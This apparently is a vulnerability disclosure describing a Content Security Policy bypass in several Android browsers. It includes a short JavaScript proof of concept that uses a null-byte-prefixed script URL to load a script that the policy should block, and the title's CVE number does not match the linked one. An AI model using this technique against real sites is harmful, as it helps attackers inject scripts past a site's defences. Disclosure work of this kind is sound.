Android Browser CSP Bypass CVE-2014-604

Code
`Hello. I hope this is the correct place to report this bug.  
  
I've found a Content Security Policy bypass similar to the same and related to the same origin policy bypass in this CVE. This is a separate vulnerability, however.  
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6041  
  
I've tested this on an Android 4.3 tablet. I've tested this and it works on Firefox (32.0.2), InBrowser, Dolphin (App info doesn't give version). I also tested the default android browser on 4.3.1 emulator which was also vulnerable.  
  
PoC:  
<input type=button value="test" onclick="  
a=document.createElement('script');  
a.id='AA';  
a.src='\u0000https://js.stripe.com/v2/';  
document.body.appendChild(a);  
setTimeout(function(){if(typeof(document.getElementById('AA'))!=='undefined'){alert(Stripe);}else{ alert(2);}}, 400);  
return false;">  
  
The content security policy rule that should block this is   
script-src 'self' https://js.stripe.com/v2/ ;  
  
The PoC worked if you see a popup containing stripes e(){} object. You can test this on http://ejj.io/test.php  
  
  
Cheers,
